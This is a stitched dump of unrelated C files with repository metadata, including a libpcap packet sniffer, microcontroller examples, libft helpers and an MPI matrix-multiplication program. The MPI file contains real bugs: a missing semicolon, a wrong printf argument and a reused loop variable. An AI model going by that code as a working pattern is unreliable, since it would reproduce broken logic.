NULL) { printf("Error message: %s\n\ Exiting...\n", errbuf); return 0; } } printf("\nMydump parameters:\ninterface: %s\tfile: %s\tstring: %s\thttp sniffer mode: %s\texpression: %s\n\n\n", i, f, s,\ http ? "true" : "false", expression); //if interface is given if (i != NULL && f == NULL) { if (pcap_lookupnet(i, &net, &mask, errbuf) == -1) { printf("Error: %s\n", errbuf); net = 0; mask = 0; } // Start pcap session handle = pcap_open_live(i, BUFSIZ, 1, 1000, errbuf); if (handle == NULL) { printf("Error message: %s\n\ Existing...\n", errbuf); return 0; } } else if (i == NULL && f != NULL) { handle = pcap_open_offline(f, errbuf); if (handle == NULL) { printf("Error message: %s\n\ Existing...\n", errbuf); return 0; } } else { printf("This shouldn't be printed out! Existing...\n"); return 0; } // check if link-layer header is ethernet if (pcap_datalink(handle) != DLT_EN10MB) { printf("Interface %s doesn't ethernet header! Existing\n", i); return 0; } if (http) { if (pcap_compile(handle, &filter, http_string, 0, net) == -1) { printf("Error message: %s\n\ Existing...\n", pcap_geterr(handle)); return 0; } if (pcap_setfilter(handle, &filter) == -1) { printf("Error message: %s\n\ Existing...\n", pcap_geterr(handle)); return 0; } } // compile and apply expression if (expression != NULL) { if (pcap_compile(handle, &filter, expression, 0, net) == -1) { printf("Error message: %s\n\ Existing...\n", pcap_geterr(handle)); return 0; } if (pcap_setfilter(handle, &filter) == -1) { printf("Error message: %s\n\ Existing...\n", pcap_geterr(handle)); return 0; } } if (http) { int len = 0; if (s != NULL) len = strlen(s); char *t = (char *)malloc(len+2); strcpy(t, "g"); if (s != NULL) strcat(t, s); pcap_loop(handle, count, my_callback, t); } else { pcap_loop(handle, count, my_callback, s); } pcap_close(handle); return 0; }
b1efcefd9ecf84a904cda5cd50998d2acaf8ecfc
5618f9e6face224e370ad8beed9cb2cc88825ed4
/C2.7/defines.h
a0e2f05f948e4840ddb8b683030ae18cf4117e3d
[]
no_license
Borlos/Arm-examples
278122c8458579b79f3e46c32e7f25bbb8e07264
9264f78790549545cdfa43c4c9d036fc5112d92d
refs/heads/master
2020-03-19T06:25:19.032310
2018-07-10T11:10:55
2018-07-10T11:10:55
136,017,895
0
0
null
null
null
null
UTF-8
C
false
false
143
h
defines.h
#ifndef __DEFINES_H__ #define __DEFINES_H__ #define TXFE 0x80 #define RXFF 0x40 #define TXFF 0x20 #define RXFE 0x10 #define BUSY 0x08 #endif
511fff4f93d4a17463dad190f583e54b7c0e2181
c0258e011179e4f214f9b6c5c3fa01c66bb26450
/src/startcode/MDT10F273_PA_AWAKEN_V20190828/src/mdt10F273_PA_AWAKEN.c
c58118df0fb6a50c6dc6b3d79df05f61455a23b2
[]
no_license
SoCXin/MDT10F273
22195f1b5ac8caade40deb62489c55b415f434ef
5433b905f08238243e5988ec48c2b9298983b0b7
refs/heads/master
2023-01-04T15:00:41.185977
2020-11-02T07:10:45
2020-11-02T07:10:45
187,157,229
0
1
null
null
null
null
GB18030
C
false
false
10,691
c
mdt10F273_PA_AWAKEN.c
/*********************************************************************************** ;Company : Yspring ------深圳市汇春科技股份有限公司 ;File Name :MDT10F273 ;Description : MDT10F273_PA_AWAKEN_范例程序 ;程序说明: ; MCU接5V供电,PC2接LED(PC1脚),PA0~PA5接开关(此程序未使能总中断,PA口电平变化可唤醒MCU) ; ; LED(PC1脚)快闪10次,然后进入睡眠。 ; ; 改变PA口状态可唤醒MCU,唤醒后LED(PC1脚)快闪10后又进入睡眠。 ; ; MCU睡眠功耗1uA ; ; (注意:PA口开了内部上拉,接到GND时,会有电流流过内部上拉电阻) ; ************************************************************************************/ #include "mdt10F273.h" #include "273cfg.h" //-------------------------------数据类型重定义-------------------------------------- typedef unsigned char u8; typedef unsigned short u16; typedef unsigned long u32; //-------------------------------函数声明-------------------------------------------- void Init_Timer0_WDT(void);//初始化timer0和WDT函数 void Init_Timer1(void); //初始化timer1函数 void Init_Timer2(void); //初始化timer2函数 void Init_GPIO(void); //初始化IO函数 void Init_INT(void); //初始化中断函数 void Led_Flash_Ten(void); //LED闪烁处理 void Sleep_Mode(void); //睡眠处理函数 //----------------------------------宏定义------------------------------------------ #define T100MS 50 // #define T40MS 20 // #define SLEEP_LED_ON() (PC1 = 1)//宏定义LED 开 #define SLEEP_LED_OFF() (PC1 = 0)//宏定义LED 关 //----------------------------------变量定义---------------------------------------- u8 Timer_2ms_ctr; //2ms计数器 u8 Flash_10_ctr; //LED闪烁计数器 u8 Sleep_ctr; //睡眠延时计数器 //--------------------------------位变量定义---------------------------------------- bit flag_t0 = 0; //2ms标志 bit flag_sleep=0; //睡眠控制标志 /*********************************************************************************** ; ;函数名: main ; ;函数说明: 主函数入口 ; ************************************************************************************/ void main(void) { CLRWDT(); //清WDT SET_HIRC(IRCF_4M); //内部振荡器频率选择4MHz Init_Timer0_WDT(); //初始化定时器_WDT // Init_Timer1(); // Init_Timer2(); Init_GPIO(); //初始化IO Init_INT(); //初始化中断 //====================================主循环========================================= while(1) { CLRWDT(); //清除 看门狗 if(TIF == 1) //定时器0中断标志判断 { TIF = 0; //T0 带自动重载功能 不需要重置初始值 PORTC ^= 0x01; //Timer0 定时 2ms中断溢出 PC0 取反输出 flag_t0 = 1; //定时2ms标志置1 } if(flag_t0 == 1) //2ms判断 { flag_t0 = 0; //2ms标志清0 Led_Flash_Ten(); //LED闪烁控制 Sleep_Mode(); //睡眠处理 } } } /*********************************************************************************** ; ;函数名: Led_Flash_Ten ;函数说明: LED快闪10次函数 ; ***********************************************************************************/ void Led_Flash_Ten(void) //LED闪烁控制函数 { if(flag_sleep == 0) //睡眠判断 { Timer_2ms_ctr ++ ; //2ms计数器 if(Timer_2ms_ctr >= T100MS) //100ms判断 { Timer_2ms_ctr = 0x00; //2ms计数器 PORTC ^= 0x04; //Timer2 定时100ms中断溢出 PC2 取反输出 if(PC2 == 0) { Flash_10_ctr ++ ; //闪烁10次 if(Flash_10_ctr >= 10) //灯闪10次后,MCU 进入睡眠 { Flash_10_ctr = 0x00;// flag_sleep = 1; // } } } } } /********************************************************************************* ; ;函数名: Sleep_Mode ;函数说明: MCU睡眠处理 ; *********************************************************************************/ void Sleep_Mode(void) { if(flag_sleep == 1) //睡眠判断 { Sleep_ctr ++ ; //睡眠计数器加1 if(Sleep_ctr >= T40MS) //睡眠计数判断 { Sleep_ctr = 0x00; //计数器清0 //273同型号不同脚位封装的MCU是同一颗晶圆,273_sop8只封装了PA口,没封PC口,但初始化与睡眠等要将PC口也考虑进去,PC口未处理好也会有漏电流存在 PORTA = 0x00; //PA口 全输出"L" PORTC = 0x00; //PC口 全输出"L" //273睡眠 漏电注意事项: MCU 上电默认选择外部参考输入脚(PC1/VREF) 作为AD参考电压,睡眠前需改成内部参考,否则会有漏电。 // 当使用默认的外部参考时,PC1设置为数字输出口,输出高,睡眠时会有45uA 的漏电流存在。 ADS0 =0x00; //如果选择外部参考则需要进入睡眠前切换为内部参考,否则会有漏电流 T1SELEN = 0; T2SELEN = 0; //注意: T1SELEN为"1"或者T2SELEN为"1"时,MCU将一直处于工作状态,无法进入睡眠 SLEEP_LED_ON(); //睡眠时 输出高,唤醒后输出低(用来指示当前的 睡眠/唤醒 状态) PAIE = 1; //使能 PA电平变化中断 PAINTR = 0x3f; //PA电平变化中断允许位 1:使能 0:禁止 PORTA = PORTA; //采用电平变化唤醒时须在睡眠前读(或者写)整个端口状态,然后清除PAIF,否则 PAIF会被重复置1,导致 MCU重复唤醒 不能正常睡眠 PAIF = 0; //清除PA电平变化中断标志 SWDTEN = 0; //关 WDT SET_HIRC(IRCF_500K); //睡眠之前 系统时钟 切换到 500KHz 或小于 500KHz(不可大于500KHz)--------(这里将Fosc设置为500KHz) CLRWDT(); asm("nop"); //切换“系统时钟”后,需加至少两个以上的NOP指令,等待时钟稳定 asm("nop"); asm("nop"); SLEEP(); //MCU 进入睡眠 CLRWDT(); //MCU唤醒后 需做 清除WDT操作 //当MCU供电电压“低于4.5V”时,不可使用16MHz作为“系统时钟 ” SET_HIRC(IRCF_4M); //唤醒后,“系统时钟”切换到所需“时钟频率”--------(这里将Fosc设置为4MHz) asm("nop"); //切换“系统时钟”后,需加至少两个以上的NOP指令,等待时钟稳定 asm("nop"); asm("nop"); SWDTEN = 1; //开 WDT CLRWDT(); //清看门狗 SLEEP_LED_OFF(); //睡眠时 输出高,唤醒后输出低(用来指示当前的 睡眠/唤醒 状态) flag_sleep = 0; //睡眠标志清0 } } else { Sleep_ctr = 0x00; //计数器清0 } } /********************************************************************************* ; ;函数名: ISR ; ;函数说明: 中断服务程序 ; ; 所有中断都是同一个入口,区分不同的中断源直接判断对应的中断标志即可,无优先级之区分 ; ; *********************************************************************************/ //void ISR(void) __interrupt //YSDCC 编译 中断函数定义 void interrupt ISR(void) //PICC 编译 中断函数定义 { //此程序未使能总中断,所以不会进入中断函数,但PA口电平变化可以唤醒MCU } /********************************************************************************* ; ;函数名: Init_GPIO ;函数说明: 初始化IO口 ; *********************************************************************************/ void Init_GPIO(void) { ADINA = 0x00; //PA模拟/数字IO设置 1:模拟功能 0:数字I/O功能 ADINC = 0x00; //PC模拟/数字IO设置 1:模拟功能 0:数字I/O功能 CPIOA = 0x3f; //PA口输入输出控制 1:输入 0:输出 CPIOC = 0x00; //PC口输入输出控制 1:输入 0:输出 PAPHR = 0x3f; //PA弱上拉控制位 1:使能 0:禁止 PAPDR = 0x00; //PA弱下拉控制位 1:使能 0:禁止 PCPHR = 0x00; //PC弱上拉控制位 1:使能 0:禁止 PCPDR = 0x00; //PC弱下拉控制位 1:使能 0:禁止 PAINTR= 0x3f; //PA电平变化中断允许位 1:使能 0:禁止 PORTA = 0x00; //PA全输出"L" PORTC = 0x00; //PC全输出"L" } /******************************************************************************* ; ;函数名: Init_Timer0_WDT ;函数说明: 初始化Timer0、WDT ; *******************************************************************************/ void Init_Timer0_WDT(void) { TCS = 0; //TMR0时钟源选择位 1:PA2/T0CKI引脚上信号的跳变 0:内部指令周期时钟( Fosc/4) T0PSDIV_8(); //Timer0预分频比选择1:8 单步8us (Fosc = 4MHz) (Fcpu = Fosc/4 = 1MHz) TMR0 = 6; //250 = 256 - 6 2ms = 250 * 8us TMR0EN = 1; //Tiemr0 启动/停止位 1:启动Timer0 0:停止Timer0 // WDTDIV_512(); WDTDIV_32768(); SWDTEN = 1; } /******************************************************************* ; ;函数名: Init_Timer1 ;函数说明: 初始化Timer1 ; ********************************************************************/ void Init_Timer1(void) { } /******************************************************************* ; ;函数名: Init_Timer2 ;函数说明: 初始化Timer2 ; ********************************************************************/ void Init_Timer2(void) { } /******************************************************************* ; ;函数名: Init_INT ;函数说明: 初始化 中断 ; ********************************************************************/ void Init_INT(void) { INTS = 0x00; //中断相关寄存器 清零 PIFB0 = 0x00; PIFB1 = 0x00; PAIE = 1; //使能 PA电平变化中断 TIF = 0; TIS = 1; //使能 T0中断 // PEIE = 1; //使能 外设中断 // GIE = 1; //使能 总中断 GIE = 0; //禁止 总中断 (此程序不使用中断) } //*******************************************************************
1d02e8e3a62cb0ddeeb9a3bed03b24844b1e107e
f59abf2444671c8b1cbf6881499a6a0983a6b678
/video-master/cFWK/include/cf_iostream/cf_iostream.h
bdc626f95a5bc7e472b0a7340825ab7e24e2db21
[]
no_license
zhaopengabc/MVR
aa1e95a6fe2289e35c9b44c7870d1a76c1cc37da
8c0919593b970c73020e2f662dcaf4b8b1605d5d
refs/heads/master
2023-02-05T09:22:58.324066
2020-12-29T02:30:06
2020-12-29T02:30:06
319,181,211
1
1
null
null
null
null
UTF-8
C
false
false
774
h
cf_iostream.h
#ifndef CF_IOSTREAM #define CF_IOSTREAM typedef struct cf_iostream cf_iostream; #define CF_IOS_READ 0x01 #define CF_IOS_WRITE 0x02 #ifdef __cplusplus extern "C"{ #endif typedef struct cf_iostream_vt{ // 返回写入字节数, 负数表示异常 int (*writeln)( cf_iostream* stream,const char* str); void (*close)(cf_iostream* stream); void (*destroy)(cf_iostream* stream); }cf_iostream_vt; typedef struct cf_iostream { const cf_iostream_vt* m_vt; }cf_iostream; cf_iostream* cf_iostream_from_std_out(); cf_iostream* cf_iostream_from_std_err(); int cf_iostream_writeln( cf_iostream* stream,const char* str); void cf_iostream_close(cf_iostream* stream); void cf_iostream_destroy(cf_iostream* stream); #ifdef __cplusplus } #endif #endif//CF_IOSTREAM
2089d156cb0c93d7a0e01f813d0256622b3195a2
5095bd422931200425d34854dcc08d998074bfe3
/solutions/project-logfind/__tests__/criterion_test.c
86174e77fb7d5ceea2d5cced78ae03b0e356f762
[]
no_license
MarcMcIntosh/learn-c-the-hard-way
3120424df4b1e30e1fdc056c87abc3f595a0a44e
649a6913812cbfb0db164fcf2351cf73d483adbb
refs/heads/master
2020-04-10T16:58:20.172386
2019-04-18T17:06:27
2019-04-18T17:06:27
161,160,752
0
0
null
null
null
null
UTF-8
C
false
false
178
c
criterion_test.c
#include <criterion/criterion.h> #include "../src/find_word_in_text.c" Test(misc, failing) { cr_expect(find_word_in_text("foo", "bar") == 0, "Should return 0 on no match"); }
1e048a181206e48b162c6168680f5c18ace2c421
8ae25d84fbcf4c0798e8df1add59326f3849d9ac
/libopencm3/include/libopencm3/efm32/hg/doc-efm32hg.h
c7f13c3b590dcac8d18ebf71d58c9fb3c3265612
[ "Apache-2.0", "LGPL-2.0-or-later", "LGPL-3.0-or-later" ]
permissive
im-tomu/tomu-quickstart
49eb4bc8ff267d5427f6bcb6a64443476891bb1c
8d57866605207099a1b449de42bc0063a5f3c1c8
refs/heads/master
2023-08-15T23:44:26.343414
2023-08-05T15:16:34
2023-08-05T15:16:34
132,818,206
146
43
Apache-2.0
2023-08-05T15:16:35
2018-05-09T22:13:30
C
UTF-8
C
false
false
588
h
doc-efm32hg.h
/** @mainpage libopencm3 EFM32 Happy Gecko @version 1.0.0 @date 28 January 2018 API documentation for Energy Micro EFM32 Happy Gecko Cortex M0+ series. LGPL License Terms @ref lgpl_license */ /** @defgroup EFM32LG EFM32 HappyGecko Libraries for Energy Micro EFM32 Happy Gecko series. @version 1.0.0 @date 28 January 2018 LGPL License Terms @ref lgpl_license */ /** @defgroup EFM32HG_defines EFM32 Happy Gecko Defines @brief Defined Constants and Types for the Energy Micro EFM32 Happy Gecko series @version 1.0.0 @date 28 January 2018 LGPL License Terms @ref lgpl_license */
55d06ee7b2516b5d7a36188777c01583b869b453
2ba0a69e4bc2ed03eabbd6027a6fa65c474b70a0
/MPI-Linear Algebra/mms.c
bd26ed10777f9fa69b9e39ec36de24b27a3cf512
[]
no_license
tgaurav7/HPC-Simulations
0cccfb5097b7bd4905ef5da3337798a2c5703e93
4ab9bed6aa07308b9612c5cb74aef6e93d3ef8c4
refs/heads/master
2021-08-29T23:22:24.217140
2017-12-15T08:15:50
2017-12-15T08:15:50
114,276,349
1
0
null
null
null
null
UTF-8
C
false
false
3,424
c
mms.c
//Inverse Matrix Multiplication #include <stdio.h> #include "mpi.h" #include <math.h> #define e 2.718 int main(int argc, char** argv) { int nprocs, anstype, myid, rowsent, sender, Arows=6, Acols=6, Brows, Bcols=6, Crows, Ccols, crow , i, j, k, N, master = 0 ; double **A, B[6][6], C[6][6]; double ans[6]; double buff[6]; double begintime1, begintime2, endtime1, endtime2; MPI_Status status; // initialize MPI, determine/distribute size of arrays here // assume A will have rows 0,nrows-1 and columns 0,ncols-1, b is 0,ncols-1 // so c must be 0,nrows-1 Brows = Acols ; Crows = Arows; Ccols = Bcols; MPI_Init(&argc, &argv); //Initialize the MPI environment MPI_Comm_size(MPI_COMM_WORLD, &nprocs);//get the number of processes MPI_Comm_rank(MPI_COMM_WORLD, &myid); //get the rank of the processes begintime1 = MPI_Wtime(); // Master part printf("Rank %d\n", &myid) if (myid == master ) { // Initialize or read in matrix A and vector b here A = (double **) calloc(Arows, sizeof(double *) ); for(k =0;k<Arows;k++){ A[k] = (double *) calloc(Acols, sizeof(double) ); } printf("A\n"); for (i=0;i<Arows;i++){ for(j=0;j<Acols;j++){ A[i][j] = i+j; printf("%f\t", A[i][j]); } printf("\n"); } printf("B\n"); for (i=0;i<Bcols;i++){ for(j=0;j<Bcols;j++){ B[i][j] = i+j; printf("%f\t", B[i][j]); } printf("\n"); } // send b to every slave process, note b is an array and b=&b[0] MPI_Bcast(B,Bcols*Brows, MPI_DOUBLE_PRECISION, master, MPI_COMM_WORLD); // send one row to each slave tagged with row number, assume nprocs<nrows rowsent=0; for (i=1; i<nprocs; i++) { // Note A is a 2D array so A[rowsent]=&A[rowsent][0] MPI_Send(A[rowsent], Acols, MPI_DOUBLE_PRECISION,i,rowsent+1,MPI_COMM_WORLD); rowsent++; } for (i=0; i<Arows; i++) { MPI_Recv(ans, Crows, MPI_DOUBLE_PRECISION, MPI_ANY_SOURCE, MPI_ANY_TAG, MPI_COMM_WORLD, &status); sender = status.MPI_SOURCE; anstype = status.MPI_TAG; //row number+1 for(i=0;i<Arows;i++){ C[anstype-1][i] = ans[i]; } if (rowsent < Arows) { // send new row MPI_Send(A[rowsent],Acols,MPI_DOUBLE_PRECISION,sender,rowsent+1,MPI_COMM_WORLD); rowsent++; } else // tell sender no more work to do via a 0 TAG MPI_Send(MPI_BOTTOM,0,MPI_DOUBLE_PRECISION,sender,0,MPI_COMM_WORLD); } } // Slave part else { // slaves recieve b, then compute dot products until done message recieved MPI_Bcast(B,Bcols*Brows, MPI_DOUBLE_PRECISION, master, MPI_COMM_WORLD); for(i=0;i<Brows;i++){ for(j=0;j<Bcols;j++){ printf("b %d here %f\t", myid, B[i][j]); } printf("\n"); } MPI_Recv(buff, Acols, MPI_DOUBLE_PRECISION,master, MPI_ANY_TAG, MPI_COMM_WORLD, &status); for(i=0;i<Acols;i++){ printf("buff %d here %f\n", myid, buff[i]); } while(status.MPI_TAG != 0){ crow = status.MPI_TAG; for(i=0;i<Bcols;i++){ ans[i] = 0.0; for(j=0;j<Acols;j++){ ans[i] += buff[j]*B[j][i]; } } MPI_Send(ans, Bcols, MPI_DOUBLE_PRECISION, master, crow, MPI_COMM_WORLD); printf("9 let's see %d\n", myid); MPI_Recv(buff, Acols, MPI_DOUBLE_PRECISION, master, MPI_ANY_TAG, MPI_COMM_WORLD, &status); } } // output c here on master node for(i=0;i<Crows;i++){ for(j=0;j<Ccols;j++){ printf("%f\t", C[i][j]); } printf("\n"); } endtime1 = MPI_Wtime(); printf("That took %f seconds for processor %d\n",endtime1-begintime1, myid); MPI_Finalize(); //free any allocated space here return 0; }
34b76ce19267a12095c5c56ce1dedfe9be14f058
976203016c462ec1d6fa7c7df03685d65be612f2
/network_client.h
395160c241b065e271d450d75d60ab6ebef070e9
[ "MIT", "Apache-2.0" ]
permissive
tractis/mod_tractis_auth
0ef44c548a93074a11dcb509258097f96048ac65
1088dd98a6cdb1ceb9d05874575c5d0c0fb00355
refs/heads/master
2021-01-21T13:48:51.090810
2016-05-12T05:32:53
2016-05-12T05:32:53
74,460
1
0
null
null
null
null
UTF-8
C
false
false
451
h
network_client.h
#include <curl/curl.h> typedef struct NetworkClient{ CURL *curl; struct MemoryStruct *chunk; }NetworkClient; typedef struct PostResult{ int code; char* result; struct NetworkClient *client; }PostResult; void close_network_client(struct NetworkClient* client); struct NetworkClient *initialize_network_client(char* url); struct PostResult* perform_post(char* username, char*pass,char* post_content, char* url, struct NetworkClient* client);
cfd902221b37d2bbf0153b93a410410d9594bb81
ce71cce1ea741910f229e188cd22fc11421d0497
/components/esp8266-wifimanager/src/json.h
ed8761f71034aab73bb331f4133e49d3b923b84f
[]
no_license
hiperiondev/esp8266-wifi-manager
d2cb21297b854d1464daac0254f103e512d3081f
f175189fd2a2e9e045bf5f03dd57001a14b1e337
refs/heads/main
2023-02-28T00:31:25.903234
2021-02-05T16:48:10
2021-02-05T16:48:10
335,999,329
2
0
null
null
null
null
UTF-8
C
false
false
1,923
h
json.h
/* @file json.h @brief handles very basic JSON with a minimal footprint on the system This code is a lightly modified version of cJSON 1.4.7. cJSON is licensed under the MIT license: Copyright (c) 2009 Dave Gamble Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. @see https://github.com/DaveGamble/cJSON */ #ifndef JSON_H_INCLUDED #define JSON_H_INCLUDED #ifdef __cplusplus extern "C" { #endif /** * @brief Render the cstring provided to a JSON escaped version that can be printed. * @param input the input buffer to be escaped. * @param output_buffer the output buffer to write to. You must ensure it is big enough to contain the final string. * @see cJSON equivlaent static cJSON_bool print_string_ptr(const unsigned char * const input, printbuffer * const output_buffer) */ bool json_print_string(const unsigned char *input, unsigned char *output_buffer); #ifdef __cplusplus } #endif #endif /* JSON_H_INCLUDED */
435015129190ca8379871b35db7d0f1ff5531285
b2c0dc0bfc0115e760d6663f4f166a687e9294ca
/ADC_proc.c
df48bb5db4acbb0295f8f2e348a4996691b7aa89
[]
no_license
Sam-Wang/PowerMeter
9b683466b2d84fbdb13fa43acf6c82418eb1183f
68793fff0ddc3f0f49dffc66f63953a0d90b6b17
refs/heads/master
2020-04-06T19:00:40.614943
2016-08-26T21:30:27
2016-08-26T21:30:27
null
0
0
null
null
null
null
UTF-8
C
false
false
1,546
c
ADC_proc.c
/* * Analog to Digital conversion for power meter * * Copyright C. Harrison * BSD 2-clause license http://opensource.org/licenses/BSD-2-Clause * */ #include <project.h> #include "ADC_proc.h" volatile int32 adc_result[2*ADC_TOTAL_CHANNELS_NUM]; int32 accum[ADC_TOTAL_CHANNELS_NUM]; int32 sqaccum[ADC_TOTAL_CHANNELS_NUM]; int16 accum_count; int16 midpoint; CY_ISR(ADC_ISR_LOC) { uint32 intr_status; /* Read interrupt status registers */ intr_status = ADC_SAR_INTR_MASKED_REG; /* Check for End of Scan interrupt */ if((intr_status & ADC_EOS_MASK) != 0u) { if(++accum_count >= NUM_ACCUMS) { accum_count = 0; } unsigned int chan; for (chan=0; chan<ADC_TOTAL_CHANNELS_NUM; ++chan) { /* save accumulated reading if ready*/ if(accum_count==0) { adc_result[chan] = accum[chan]; accum[chan] = 0; adc_result[chan+ADC_TOTAL_CHANNELS_NUM] = sqaccum[chan]; sqaccum[chan] = 0; } /* Read conversion result */ uint32 t = (uint16)ADC_GetResult16(chan)-midpoint; accum[chan] += t; sqaccum[chan] += t*t; } } /* Clear handled interrupt */ ADC_SAR_INTR_REG = intr_status; } void adc_setup() { midpoint = 0x7FFF; /* ADC reading for zero signal */ /* Init and start sequencing SAR ADC */ ADC_Start(); ADC_StartConvert(); /* Enable interrupt and set interrupt handler to local routine */ ADC_IRQ_StartEx(ADC_ISR_LOC); }
2a3ca9f6132c615212b231b07f8107af4b0118f1
bc6567bc5374738eb29f3d2c98e932852abd94fa
/Double_Makefile/libft/ft_memmove.c
503e2b5b9309b1fec6aeb0e6d0a02a1394f9e3eb
[]
no_license
theguywithnorace/Makefile_basis
2c067a83fbb8b6860285291a8cd876b3a93c782c
8fda437bd577718c3dcf1051e80f18722770a73a
refs/heads/main
2023-04-10T18:43:09.711981
2021-04-29T21:55:07
2021-04-29T21:55:07
356,517,444
0
0
null
null
null
null
UTF-8
C
false
false
1,171
c
ft_memmove.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_memmove.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: tiin <tiin@student.42.fr> +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2019/11/05 10:52:25 by tiin #+# #+# */ /* Updated: 2019/11/26 10:19:49 by tiin ### ########.fr */ /* */ /* ************************************************************************** */ #include <libc.h> void *ft_memmove(void *dst, const void *src, size_t len) { char *d; char *s; size_t i; i = -1; d = (char*)dst; s = (char *)src; if (d > s) { while (len--) d[len] = s[len]; } if (s > d) { while (++i < len) d[i] = s[i]; } return (dst); }
e4b04cf76ff54f9fbc0d5bee142b2439a335b57e
935c45ef5041a3350e9f148b1fa185783d648dd6
/PLAT/middleware/eigencomm/ecapi/appmwapi/inc/ec_example_api.h
2a7c8f15150d948262d3e6e946e33acbca5e1936
[]
no_license
hjgqx996/LierdaEC_NB81-MB26_OpenCPU_DemoCode
06b54b839012cfec8a38f476a737302bd62c7989
1f2054cd383d87aad9bcca0a6590369e40c75aad
refs/heads/master
2022-11-29T17:37:37.458923
2020-07-30T08:01:58
2020-07-30T08:01:58
null
0
0
null
null
null
null
UTF-8
C
false
false
774
h
ec_example_api.h
/****************************************************************************** * (C) Copyright 2018 EIGENCOMM International Ltd. * All Rights Reserved ******************************************************************************* * Filename: ec_tcpip_api.h * * Description: API interface implementation header file for socket/tcpip service * * History: * * Notes: * ******************************************************************************/ #ifndef __EC_EXAMPLE_API_H__ #define __EC_EXAMPLE_API_H__ #include "cms_util.h" typedef enum AT_EXAMPLE_ERROR { EXAMPLE_PARAM_ERROR = 1, /**/ EXAMPLE_OPERATION_NOT_SUPPORT = 2, /**/ EXAMPLE_TASK_NOT_CREATE = 3, /**/ }_AtExampleCmdError; #endif
6094cc1d9f1cfeb692d62ff0f203698cad657d88
c317031aac4b9a60f84c192b486d45bc28deafff
/HW_done/hw_chap05_108820001/chap05_project10/chap05_project10.c
f21cc9ee0c6bfd97d88a982cc0131fd705534f18
[]
no_license
lohsuan/CPractice
bb961d87f8e8e4163e22e55ade735e694e3c5d35
107c8a06adf39aa88805265deb63057841862fa8
refs/heads/master
2020-09-01T12:38:51.139104
2019-11-28T15:56:52
2019-11-28T15:56:52
218,959,379
0
0
null
null
null
null
UTF-8
C
false
false
1,409
c
chap05_project10.c
/*****************************************************************/ /* Class: Computer Programming, Fall 2019 */ /* Author: 羅羽軒 (put your name here) */ /* ID: 108820001 (your student ID here) */ /* Date: 2019.10.08 (put program development started date here */ /* Purpose: 分數等級 */ /* Change History: 1001,1008 */ /*****************************************************************/ #include<stdio.h> int main(void){ //宣告變數 int grade; //讀入 printf("Enter numerical grade: "); scanf("%d", &grade); //Error domain if(grade>100 || grade<0){ printf("Error: numerical grade out of range 0-100\n"); return 0; } //決定等級並輸出 if(grade==100) //100 printf("Letter grade: A"); else if(grade<10) //0-9 printf("Letter grade: F"); else{ switch(grade/10){ case(9): //90-99 printf("Letter grade: A"); break; case(8): //80-89 printf("Letter grade: B"); break; case(7): //70-79 printf("Letter grade: C"); break; case(6): //60-69 printf("Letter grade: D"); break; default: //0-59 printf("Letter grade: F"); } } return 0; }
925ccd20b233e2bdc3af2581ab1cab79126e6052
49af13f60e806bdd3b6a19893afa5e4325325481
/libft/ft_strlcat.c
86de39b1248c07bb5e137e63102e0d07be2d3ee8
[]
no_license
josiaskas/ft_printf-42
b7dee3c8c20e91be4d680231090aa0def1eead85
76bf19531ed7b72555dc56e23305e209e8c5f2e6
refs/heads/master
2023-06-29T11:59:06.488255
2021-08-08T01:55:52
2021-08-08T01:55:52
369,667,033
0
0
null
null
null
null
UTF-8
C
false
false
1,315
c
ft_strlcat.c
/* ************************************************************************** */ /* */ /* ::: :::::::: */ /* ft_strlcat.c :+: :+: :+: */ /* +:+ +:+ +:+ */ /* By: jkasongo <jkasongo@student.42quebec.com +#+ +:+ +#+ */ /* +#+#+#+#+#+ +#+ */ /* Created: 2021/05/06 02:20:39 by jkasongo #+# #+# */ /* Updated: 2021/05/07 17:23:19 by jkasongo ### ########.fr */ /* */ /* ************************************************************************** */ #include "libft.h" size_t ft_strlcat(char *dst, const char *src, size_t dstsize) { size_t offset; size_t src_len; size_t dst_len; dst_len = ft_strlen(dst); src_len = ft_strlen(src); offset = dst_len; if (dstsize == 0) return (src_len); if (dstsize < dst_len) return (src_len + dstsize); while ((*src != 0) && (offset < dstsize - 1)) dst[offset++] = *src++; dst[offset] = 0; return (src_len + dst_len); }
30a8d7681f88e7b3f6cd09a2367788aed4d5e958
b2e5bc07913bdb103c3399ee794cc3609bc7543f
/mpi/mpi_basicinfo.c
5558db5d9ab4b22f9c46ec1e82b63c7b38b73980
[]
no_license
garethcmurphy/gpuImogen
03a0e3b5b038836f4c56e8467d4b69e5e831087f
9896ece84cfbe832e750383819e155e73f8b64a3
refs/heads/master
2020-04-08T17:04:39.612148
2016-01-15T06:23:45
2016-01-15T06:23:45
null
0
0
null
null
null
null
UTF-8
C
false
false
815
c
mpi_basicinfo.c
